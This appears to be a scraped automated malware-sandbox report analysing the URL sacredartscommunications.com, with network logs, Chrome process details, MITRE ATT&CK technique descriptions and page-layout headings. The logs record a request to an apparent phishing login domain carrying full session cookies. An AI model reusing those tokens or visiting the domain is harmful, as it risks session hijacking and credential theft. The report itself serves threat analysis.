2025-01-09 23:22:11 UTC	57	IN	Data Raw: 43 6c 69 65 6e 74 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 36 64 37 39 31 32 33 66 2d 66 32 37 38 2d 34 31 37 33 2d 62 35 36 36 2d 66 35 36 31 62 35 33 34 66 31 31 35 0d 0a Data Ascii: Client-Request-Id: 6d79123f-f278-4173-b566-f561b534f115
2025-01-09 23:22:11 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:22:11 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-09 23:22:11 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 32 3a 31 30 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:22:10 GMT
2025-01-09 23:22:11 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-09 23:22:11 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-09 23:22:11 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-09 23:22:11 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	50090	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:22:11 UTC	1654	OUT	GET /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIl [TRUNCATED]
2025-01-09 23:22:12 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:22:12 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:22:12 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:22:12 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-09 23:22:12 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 32 3a 31 31 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:22:11 GMT
2025-01-09 23:22:12 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-09 23:22:12 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-09 23:22:12 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-09 23:22:12 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-09 23:22:12 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-09 23:22:12 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 73 61 6e 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+san"}]}

Target ID:	1
Start time:	18:20:48
Start date:	09/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	18:20:53
Start date:	09/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=2036,i,10849701497838588291,12156381066971431454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	18:21:00
Start date:	09/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://sacredartscommunications.com/"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://sacredartscommunications.com/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Windows Analysis Report
https://sacredartscommunications.com/